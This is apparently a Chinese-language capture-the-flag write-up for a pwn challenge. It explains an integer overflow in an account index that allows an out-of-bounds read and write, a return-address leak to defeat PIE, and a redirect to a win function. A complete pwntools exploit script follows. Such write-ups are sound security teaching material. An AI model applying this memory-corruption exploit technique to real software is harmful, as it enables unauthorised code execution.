文件保护
ida加载
程序中含有system函数初步判定可能为ret2text
存在整数溢出,不可以直接改地址,因为super_ai的返回地址一定比v1高所为不行
如何进行整数溢出呢?
举例
为什么十六进制的 0x4000 0000 0000 0007 * 8 会等于0x38呢,因为7*8产生了进位所以4被64位舍弃
思路
首先进行溢出
观察动态调试
发现RAX已经变成负数
cmp操作进行完比较相同为0不相同为1
进入分支
泄漏地址为rbp下一位
地址因为是十进制所以进行转换查看是否泄漏成功
完全成全
地址已经泄漏完成开始payload的搭建
接收地址
基地址计算
接收地址-super_ai的返回地址
也就是0x151b
更改为win地址
考虑堆栈平衡 + 0x1315
exp
from pwn import *
context(log_level='debug',arch='amd64',os='linux')
#本地文件
filename = './pwn'
io = process(filename)
#远程连接
#io = remote("127.0.0.1",8080)
elf = ELF(filename)
#libc = elf.libc
gdb.attach(io,'b *$rebase(0x13f4)')
#存在整数溢出,实现任意地址泄漏
def one_(idx):
io.sendlineafter('> ','1')
io.sendlineafter('Whose account?\n',str(idx))
#存在整数溢出,实现任意地址改写
def two_(idx,addr):
io.sendlineafter('> ','2')
io.sendlineafter('Whose account?\n',str(idx))
pause()
io.sendlineafter('How much?\n',str(addr))
#泄漏super_ai的返回地址
one_(-0x8000000000000000+7)
#接收地址
io.recvuntil('] = ')
#计算基地址
nx_base = int(io.recvuntil("\n")[:-1],10) - 0x151b
print('nx_base:',hex(nx_base))
#10为转换之整形十进制
win_addr = nx_base + 0x1315
print('win_addr:',hex(win_addr))
#改写super_ai的返回地址
two_(-0x8000000000000000+7,win_addr)
io.interactive()